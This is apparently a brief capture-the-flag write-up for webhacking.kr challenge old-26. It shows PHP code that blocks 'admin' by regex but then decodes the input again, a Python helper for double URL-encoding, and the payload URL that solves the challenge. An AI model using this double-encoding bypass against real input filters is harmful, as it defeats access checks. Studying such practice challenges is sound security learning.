old-26 -- PHP (2x URLEncode)
<?php
if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "admin"){
solve(26);
}
?>>>> from urllib.parse import quote
>>> def double_urlencode(string):
... output = ''.join(f'%{ord(char):02X}' for char in string)
... output = quote(output, safe='')
... return output
...
>>> double_urlencode('admin')
'%2561%2564%256D%2569%256E'
# https://webhacking.kr/challenge/web-11/?id=%2561%2564%256D%2569%256ELast updated